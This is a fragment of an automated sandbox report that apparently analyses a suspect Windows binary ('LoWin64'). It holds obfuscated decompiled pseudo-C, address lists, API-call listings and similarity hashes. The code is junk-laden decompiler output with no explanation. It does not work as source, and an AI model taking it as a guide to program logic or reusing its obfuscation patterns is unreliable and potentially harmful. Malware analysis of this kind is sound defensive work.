				_t101 = E00007FF67FF6B1D3ACF4(_t229);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = (_t229 - _t257 | 0xffffff80) + _t257 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t101 & r14d;
			}

0x7ff6b1ca812b
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e627103f392c762fd144b6a5d9c7336f354de9fedbf6999e15515f26d8101aeb
Instruction ID: 18d24d77a647b30677578b0fe5df290d83db0f3f0eeb2f49d1c91769d78a6894
Opcode Fuzzy Hash: e627103f392c762fd144b6a5d9c7336f354de9fedbf6999e15515f26d8101aeb
Instruction Fuzzy Hash: B6417167E3894A67F7119F2CAD492BA72A16F21709F740335C74DE219ADF3CB5818248

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA8151 Relevance: 6.1, APIs: 4, Instructions: 112
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00007FF67FF6B1CA8151(void* __eax, void* __edi, void* __ebp, void* __rdx, intOrPtr _a32, intOrPtr _a144, void* _a152, signed int _a160, signed long long _a168) {
				void* _t54;
				signed int _t97;
				void* _t99;
				signed int _t101;
				void* _t110;
				void* _t115;
				void* _t118;
				void* _t119;
				void* _t121;
				void* _t129;
				void* _t130;
				void* _t132;
				void* _t144;
				void* _t147;
				void* _t150;
				void* _t153;
				void* _t156;
				signed long long _t159;
				void* _t162;
				signed long long _t167;
				void* _t170;
				void* _t173;
				void* _t176;
				void* _t179;
				void* _t182;
				void* _t191;
				void* _t194;
				void* _t197;
				void* _t200;
				void* _t203;
				void* _t206;
				void* _t209;
				void* _t215;
				void* _t220;
				signed long long _t237;
				void* _t240;
				signed long long _t243;
				void* _t249;

				_t147 = (_t144 - _t243 | _t237) + _t243;
				r8d = r15d;
				r8b = _t147 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d = _a32;
				r8d = _a160;
				E00007FF67FF6B1CB41F0(__eax, _t110, _t220, _a144, _t240); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t99, _t220, 0, _t147, _t249), _t110, _a144);
				 *0xb1decf60 = _t243;
				E00007FF67FF6B1D3ACF4(_t147);
				E00007FF67FF6B1D3ACF4(_t147);
				asm("push es");
				_t150 = (_t147 - _t243 | 0xffffff80) + _t243;
				asm("movsd xmm6, [0x11694a]");
				_t115 = _t150 - 5;
				if (_t115 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t150);
				if (_t115 >= 0) goto 0xb1ca81e3;
				_t153 = (_t150 - _t243 | 0xffffff80) + _t243;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t115 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t153);
				if (_t115 >= 0) goto 0xb1ca820e;
				_t156 = (_t153 - _t243 | 0xffffff80) + _t243;
				if (_t156 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t156);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t159 = (_t156 - _t243 | 0xffffff80) + _t243;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t159;
				 *0xb1decf60 = _t243;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t118 = r12d - 0x42;
				if (_t118 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t159);
				if (_t118 >= 0) goto 0xb1ca8274;
				_t162 = (_t159 - _t243 | 0xffffff80) + _t243;
				_t119 = _t162 - 0x2e;
				if (_t119 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t162);
				if (_t119 >= 0) goto 0xb1ca828f;
				_t101 = r15d & 0xffffff00 | (_t162 - _t243 | 0xffffff80) + _t243 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t54 = E00007FF67FF6B1D3ACF4((_t162 - _t243 | 0xffffff80) + _t243);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t101;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t101;
				 *0x6b =  *0x6b + _t54;
				_t167 = _a168 + _t243;
				_a168 = _t167;
				 *0xb1decf60 = _t167;
				_t121 = _t167 - 0x1f;
				if (_t121 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = _t243;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t167 =  *_t167 | _t167;
				if (_t121 >= 0) goto 0xb1ca8308;
				_t170 = (_t167 - _t243 | 0xffffff80) + _t243;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t121 != 0) goto 0xb1ca8318;
				if (_t121 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t170) & r14d) >= 0) goto 0xb1ca8333;
				_t173 = (_t170 - _t243 | 0xffffff80) + _t243;
				if (_t173 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t173) & r14d) >= 0) goto 0xb1ca835e;
				_t176 = (_t173 - _t243 | 0xffffff80) + _t243;
				if (_t176 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t176);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t179 = (_t176 - _t243 | 0xffffff80) + _t243;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t179);
				if (_t179 - 0x34 >= 0) goto 0xb1ca8397;
				_t182 = (_t179 - _t243 | 0xffffff80) + _t243;
				_t129 = _t182 - 0x1f;
				if (_t129 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t182);
				if (_t129 >= 0) goto 0xb1ca83ac;
				_t130 = (_t182 - _t243 | 0xffffff80) + _t243 - 4;
				if (_t130 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t182 - _t243 | 0xffffff80) + _t243);
				if (_t130 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t132 = r13d - 0x54;
				if (_t132 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t132 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = _t243;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = _t243;
				IsIconic(??);
				asm("adc al, 0x0");
				_t191 = 0x50 + _t243;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(_t191);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				_t194 = (_t191 - _t243 | 0xffffff80) + _t243;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t194);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				_t197 = (_t194 - _t243 | 0xffffff80) + _t243;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t197);
				E00007FF67FF6B1D3ACF4(_t197);
				E00007FF67FF6B1D3ACF4(_t197);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				_t200 = (_t197 - _t243 | 0xffffff80) + _t243;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = _t243;
				E00007FF67FF6B1D3ACF4(_t200);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				_t203 = (_t200 - _t243 | 0xffffff80) + _t243;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(_t203);
				E00007FF67FF6B1D3ACF4(_t203);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				_t206 = (_t203 - _t243 | 0xffffff80) + _t243;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t206);
				E00007FF67FF6B1D3ACF4(_t206);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				_t209 = (_t206 - _t243 | 0xffffff80) + _t243;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(_t209);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				_t215 = ((_t209 - _t243 | 0xffffff80) + _t243 - _t243 | 0xffffff80) + _t243;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t97 = E00007FF67FF6B1D3ACF4(_t215);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = (_t215 - _t243 | 0xffffff80) + _t243 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t97 & r14d;
			}

0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

APIs

Part of subcall function 00007FF6B1D3B360: SetConsoleCtrlHandler.KERNEL32 ref: 00007FF6B1D3B3CD

GetWindowTextLengthW.USER32 ref: 00007FF6B1CA8248
GetMessageTime.USER32 ref: 00007FF6B1CA825E
GetUserDefaultLangID.KERNEL32 ref: 00007FF6B1CA8279

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: ConsoleCtrlDefaultHandlerLangLengthMessageTextTimeUserWindow
String ID:
API String ID: 3836942764-0
Opcode ID: 95b14970dc07ff310f00eadee80a7f401f22f712c335552ad283f0a403dbee06
Instruction ID: ee236474f801c03b31ec665512f9262a851626e6ce64aa5e8634a2e59eea4b78
Opcode Fuzzy Hash: 95b14970dc07ff310f00eadee80a7f401f22f712c335552ad283f0a403dbee06
Instruction Fuzzy Hash: EA418467F38A0A67E7119F3CAC492BA72A07F11B09F740339C709E255ADF3CB5818648

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CCB330 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6B1CCB360
VirtualQuery.KERNEL32 ref: 00007FF6B1CCB37E
VirtualFree.KERNEL32 ref: 00007FF6B1CCB3B3
SetLastError.KERNEL32 ref: 00007FF6B1CCB3CB

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: ErrorLastVirtual$FreeQuery
String ID:
API String ID: 2187276999-0
Opcode ID: 8c54d4d207834530e82b9a885280b13ae00ac67e93f6e8684836a316baef3ced
Instruction ID: 09f5496f4c641649bc9c1d5bbf9a2f47f7a55d194567c95e0c2bed9c2ce7eba6
Opcode Fuzzy Hash: 8c54d4d207834530e82b9a885280b13ae00ac67e93f6e8684836a316baef3ced
Instruction Fuzzy Hash: 64112E36A69F5193EB619F5AA404329A3B5FB44FC4F1C0135DB8D93A58DF3CE8858B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CB8240 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

csm, xrefs: 00007FF6B1CB835F
CCG , xrefs: 00007FF6B1CB8368

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID:
String ID: CCG $csm
API String ID: 0-2763669848
Opcode ID: df44da75478091af279d9f8b16740088c4fb51c8e8695538302d08867356d6b3
Instruction ID: 762ac22093c778624595d4c34e702a5c20de9919b170834f6b0f1427b9da2687
Opcode Fuzzy Hash: df44da75478091af279d9f8b16740088c4fb51c8e8695538302d08867356d6b3
Instruction Fuzzy Hash: 9C41D621A19B4A92EB259B0AE44937B6761EB49FD8F344131DF5D83BA4DF3CE441C348

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CAFCCE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E00007FF67FF6B1CAFCCE(void* __eax, void* __ebx, void* __ebp, void* __rsi, void* _a128) {
				void* _t10;
				void* _t15;
				void* _t17;
				void* _t18;
				void* _t22;
				void* _t25;
				void* _t28;
				signed int _t33;
				signed int _t35;
				signed long long _t44;
				void* _t48;

				_t25 = (_t22 - _t33 | _t44) + _t33;
				_t17 = _t25 - 0x5e;
				if (_t17 < 0) goto 0xb1cafd13;
				E00007FF67FF6B1D3ACF4(_t25);
				if (_t17 >= 0) goto 0xb1cafce9;
				_t28 = (_t25 - _t33 | _t44) + _t33;
				_t18 = _t28 - 0x67;
				if (_t18 >= 0) goto 0xb1cafd13;
				 *0xb1decf60 = _t33;
				E00007FF67FF6B1D3ACF4(_t28);
				if (_t18 >= 0) goto 0xb1cafd04;
				_t31 = (_t28 - _t33 | _t44) + _t33;
				 *0xb1decf60 = _t35;
				 *0xb1decf60 = _t33;
				 *0xb1decf60 = r12d;
				 *0xb1decf60 = 0x33;
				AnyPopup();
				r8d = r8d | 0xffffffff;
				0xb1ca6ecc(); // executed
				if ((_t28 - _t33 | _t44) + _t33 == 0) goto 0xb1cafd51;
				r8d = 0;
				_t10 = E00007FF67FF6B1CB5030(r12d & 0xffffff00 | _t31 - 0x00000067 < 0x00000000, _t15, r8d, _t31, _t33, __rsi, __rsi, _t48);
				goto 0xb1cafd54;
				0xb1cb1e80(); // executed
				asm("movaps xmm6, [esp+0x30]");
				asm("movaps xmm7, [esp+0x20]");
				return _t10;
			}

0x7ff6b1cafcd2
0x7ff6b1cafcd4
0x7ff6b1cafcd7
0x7ff6b1cafcd9
0x7ff6b1cafce1
0x7ff6b1cafce7
0x7ff6b1cafce9
0x7ff6b1cafcec
0x7ff6b1cafcee
0x7ff6b1cafcf4
0x7ff6b1cafcfc
0x7ff6b1cafd02
0x7ff6b1cafd0d
0x7ff6b1cafd13
0x7ff6b1cafd19
0x7ff6b1cafd20
0x7ff6b1cafd2a
0x7ff6b1cafd30
0x7ff6b1cafd39
0x7ff6b1cafd40
0x7ff6b1cafd42
0x7ff6b1cafd4a
0x7ff6b1cafd4f
0x7ff6b1cafd57
0x7ff6b1cafd5c
0x7ff6b1cafd6b
0x7ff6b1cafd7f

APIs

AnyPopup.USER32 ref: 00007FF6B1CAFD2A

Strings

R, xrefs: 00007FF6B1CAFD4A
